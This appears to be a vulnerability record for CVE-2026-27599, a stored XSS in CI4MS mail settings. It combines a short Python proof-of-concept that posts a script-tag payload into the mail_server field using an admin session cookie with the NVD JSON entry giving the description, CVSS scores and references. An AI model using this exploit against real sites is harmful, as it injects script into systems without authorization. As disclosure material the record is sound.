CVE-2026-27599

# Exploit Title: CI4MS < 0.31.0.0 - Stored XSS (Mail Settings) # Date: 2026-03-30 # Exploit Author: Analyst # Vendor Homepage: https://github.com/ci4-cms-erp/ci4ms # Version: < 0.31.0.0 import requests # Configuration target_url = "http://target.com/admin/settings/mail" session_cookie = "your_admin_session_cookie_here" # XSS Payload xss_payload = '"><script>alert(1);</script>' # Headers headers = { "Cookie": f"ci_session={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Vulnerable fields data payload_data = { "mail_server": xss_payload, "mail_port": "25", "email_address": "[email protected]", # ... other required fields } # Send request to inject payload response = requests.post(target_url, data=payload_data, headers=headers) if response.status_code == 200: print("[+] Payload injected successfully!") print("[+] Navigate to System Settings -> Mail Settings to trigger the XSS.") else: print("[-] Failed to inject payload.")

{"cve": {"id": "CVE-2026-27599", "sourceIdentifier": "[email protected]", "published": "2026-03-30T21:17:08.573", "lastModified": "2026-04-06T17:42:14.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application fails to properly sanitize user-controlled input within System Settings – Mail Settings. Several configuration fields, including Mail Server, Mail Port, Email Address, Email Password, Mail Protocol, and TLS settings, accept attacker-controlled input that is stored server-side and later rendered without proper output encoding. This issue has been patched in version 0.31.0.0."}, {"lang": "es", "value": "CI4MS es un esqueleto de CMS basado en CodeIgniter 4 que ofrece una arquitectura modular lista para producción con autorización RBAC y soporte de temas. Antes de la versión 0.31.0.0, la aplicación no logra sanear correctamente la entrada controlada por el usuario dentro de Configuración del Sistema – Configuración de Correo. Varios campos de configuración, incluyendo Servidor de Correo, Puerto de Correo, Dirección de Correo Electrónico, Contraseña de Correo Electrónico, Protocolo de Correo y configuraciones TLS, aceptan entrada controlada por el atacante que se almacena en el lado del servidor y luego se renderiza sin una codificación de salida adecuada. Este problema ha sido parcheado en la versión 0.31.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.31.0.0", "matchCriteriaId": "805F6B8A-9324-4CA4-BADE-439CC15DA14C"}]}]}], "references": [{"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-66m2-v9v9-95c3", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}